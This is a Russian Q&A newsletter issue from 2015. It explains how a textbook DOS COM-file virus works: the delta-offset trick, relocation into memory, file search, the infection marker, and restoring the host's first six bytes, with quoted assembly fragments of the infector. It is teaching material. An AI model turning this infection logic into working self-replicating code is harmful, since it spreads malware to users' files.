РАССЫЛКИ ПОРТАЛА RFPRO.RU Лучшие эксперты по данной тематике Номер выпуска: | 1567 | Дата выхода: | 11.10.2015, 15:51 | Администратор рассылки: | Лысков Игорь Витальевич (Старший модератор) | Подписчиков / экспертов: | 15 / 8 | Вопросов / ответов: | 1 / 1 | Консультация # 188088: Здравствуйте! Разбираю код вируса из учебника Калашникова (глава 20), не совсем понятно для чего пишутся после вируса первые 6 байт com-файла: mov ah,40h ;После тела вируса дописываем первые mov cx,F_bytes ;настоящие шесть байт "файла-жертвы"... mov dx,offset Finish ведь даже заражен... Консультация # 188088: Здравствуйте! Разбираю код вируса из учебника Калашникова (глава 20), не совсем понятно для чего пишутся после вируса первые 6 байт com-файла: mov ah,40h ;После тела вируса дописываем первые mov cx,F_bytes ;настоящие шесть байт "файла-жертвы"... mov dx,offset Finish
ведь даже зараженный com-файл, при запуске, их вроде не использует для затирания, а используется массив: First_bytes db 4 dup (90h), 0CDh, 20h? Дата отправки: 08.10.2015, 19:38 Вопрос задал: Посетитель - 398958 (Посетитель) Всего ответов: 1 Страница онлайн-консультации » Консультирует Зенченко Константин Николаевич (Модератор): Здравствуйте, Посетитель - 398958!
На код нужно смотреть как на вирус. 1)Способ распространения его по сети: это может быть как посещение "интерестного" сайта и первое выполнение вируса на РС, или с помощью несанкционированого доступа, запуск вируса на машине пользователя и т.д.. Это не столь важно, главное вирус как-то уже попал на машину пользователя. 2)Вирус должен получать управление, именно для этого меняются первые 6-ть байт. Эти байты хранят команду передачи упраления и маркер уже зараженого файла. В данном случае вирус дописывает себя в конец файла. Длина заражаемого файла не известна, по этому используется так называемый лямбда-вызов.
Код : call Get_IP Get_IP: pop ax После этого вирус знает текущий адрес, все остальное он будет вычислять с учетом полученной информации. 3)В память видео-буфера копируется только чистый код вируса и ему передается управление.
Код : sub ax,offset Get_IP push 0BF00h pop es mov di,offset Open_file mov si,di add si,ax mov cx,offset Finish-offset Open_file rep movsb mov bx,offset Lab_return add bx,ax push cs push bx mov bx,offset Lab_jmp push 0BF00h push bx retf После этого начинается поиск СОМ-файлов. Найденый файл, загружается в память, проверяется маркер (1122h) заражености, и если все чисто, вирус дописывает себя в памяти в конец файла, меняет первые 6-ть байт, сохраняя оригинал в конце самого файла. Этим занимается код:
Код : call Find_first jc Nomore_files Inf_file: call Infect_file jnc Nomore_files call Find_next jnc Inf_file 4)Отработав поиск, вирус с чувством удовлетворения передает управление запущеному файлу, востановив первые 6-ть байт
Код : Nomore_files: mov si,offset First_bytes mov di,100h push ss pop es mov cx,F_bytes rep movsb Lab_return: push cs pop ds mov ah,1Ah mov dx,80h int 21h popa push 100h ret 5)Задержка при запуске на пару секунд, не насторожит пользователя, "Ну мало ли чем там система занята". Главное запускаемая программа начала работать. Именно для этого и вотанавливаются первые байты. Такой способ заражения характерен для СОМ-файлов, т.к. размер файла, это и есть длина кода, первая команда всегда выполняется с адреса 0х100. В случае с ЕХЕ-файлами вирусу нужно было бы анализировать MZ-заголовок, расположение сегментов, точку входа, а это уже лишний код, ну и связанные с этим проблемы.
Удачи!
Оценить выпуск | Задать вопрос экспертам главная страница | стать участником | получить консультацию техническая поддержка | восстановить логин/пароль Дорогой читатель! Команда портала RFPRO.RU благодарит Вас за то, что Вы пользуетесь нашими услугами. Вы только что прочли очередной выпуск рассылки. Мы старались. Пожалуйста, оцените его. Если совет помог Вам, если Вам понравился ответ, Вы можете поблагодарить автора - для этого в каждом ответе есть специальные ссылки. Вы можете оставить отзыв о работе портале. Нам очень важно знать Ваше мнение. Вы можете поближе познакомиться с жизнью портала, посетив наш форум, почитав журнал, который издают наши эксперты. Если у Вас есть желание помочь людям, поделиться своими знаниями, Вы можете зарегистрироваться экспертом. Заходите - у нас интересно! МЫ РАБОТАЕМ ДЛЯ ВАС! |
Комментариев нет:
Отправить комментарий